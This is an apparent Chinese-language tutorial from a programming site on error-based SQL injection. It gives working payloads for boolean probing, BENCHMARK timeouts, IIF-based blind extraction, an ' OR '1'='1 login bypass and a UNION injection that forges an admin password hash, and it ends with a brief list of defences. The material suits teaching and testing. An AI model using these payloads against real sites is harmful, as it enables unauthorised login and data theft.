首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入錯誤型偵測深度解析:邏輯、語法、執行時錯誤的成因與利用

     編輯:關於SqlServer

錯誤回顯:注入攻擊的「偵察雷達」

錯誤回顯指應用程式對異常輸入產生的差異化回應。高手極重視此點,因為它是判斷注入點、推斷資料庫結構、提取數據的關鍵線索。錯誤主要分三類:

一、邏輯錯誤

由 SQL 邏輯條件導致結果集差異引發。典型案例:

$sql = "SELECT * FROM news WHERE id=$_GET[id]";
-- 注入 1=1
SELECT * FROM news WHERE id=1 AND 1=1;  -- 返回正常結果集
-- 注入 1=2
SELECT * FROM news WHERE id=1 AND 1=2;  -- 結果集為空

核心機制:

  • AND 1=2 導致結果集為 NULL,應用若未處理空結果集會顯示異常或跳轉
  • OR 1=1 導致結果集暴增,若程式採用循環讀取首行,可能返回非預期記錄(如第一筆管理員帳號)
  • Oracle/PostgreSQL 在空結果集時可能顯示字面值 NULL,可作為識別特徵

二、語法錯誤

構造非法 SQL 語法觸發資料庫拋錯。不同資料庫表現差異大:

  • SQL Server / PostgreSQL / Sybase:錯誤訊息詳細,常直接洩露表結構、版本、用戶等敏感信息
  • 錯誤被屏蔽時:應用捕獲異常並返回空結果集,表現同邏輯錯誤(空頁面)
  • 類型轉換錯誤:利用隱性轉換失敗(如 INT = VARCHAR)觸發報錯,提取數據

三、執行時錯誤

利用資料庫功能導致查詢超時或資源耗盡:

  • MySQL 基準測試注入:BENCHMARK(1000000, MD5('A')) 導致腳本超時,獲取物理路徑或進行盲注判斷
  • 重查詢/鎖表:構造高成本查詢耗盡連接池,觀察服務降級行為

四、邏輯與語法錯誤的組合利用

當回顯不明顯時,利用條件函數製造可觀測差異:

-- 假設支援 IIF(條件, 真值, 假值)
id=1 AND 1 = IIF(1=1, 1, 'no')  -- 正常,1=1
id=1 AND 1 = IIF(1=2, 1, 'no')  -- 語法錯誤:INT 對比 VARCHAR

透過「正常 vs 報錯」的二元回顯,實現盲注位元提取。

實戰案例:繞過登入驗證

場景 1:簡單拼接驗證

$sql = "SELECT TOP 1 * FROM admin WHERE username='$username' AND password=MD5('$pass')";
-- 輸入: ' OR '1'='1
-- SQL: SELECT TOP 1 * FROM admin WHERE username='' OR '1'='1' AND password=MD5('...')
-- 返回第一筆記錄,驗證通過

場景 2:分離驗證(先查用戶再比對密碼)

$sql = "SELECT TOP 1 * FROM admin WHERE username='$username'";
-- ' OR '1'='1 返回第一筆記錄,但後續 PHP 比對 MD5 失敗
-- 解法:UNION 注入構造預期結果集
' AND 1=2 UNION SELECT TOP 1 'admin', '123456_MD5', 1 FROM admin WHERE username='admin
-- 密碼欄位被替換為已知 MD5,使用 admin/123456 登入成功

防禦核心

  1. 參數化查詢:徹底分離代碼與數據
  2. 統一錯誤處理:生產環境隱藏詳細資料庫錯誤,統一返回通用錯誤頁
  3. 最小權限原則:應用布號僅授予必要權限,禁止 xp_cmdshell、FILE 權限
  4. WAF/輸入驗證:作為纵深防禦輔助,非唯一依賴
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved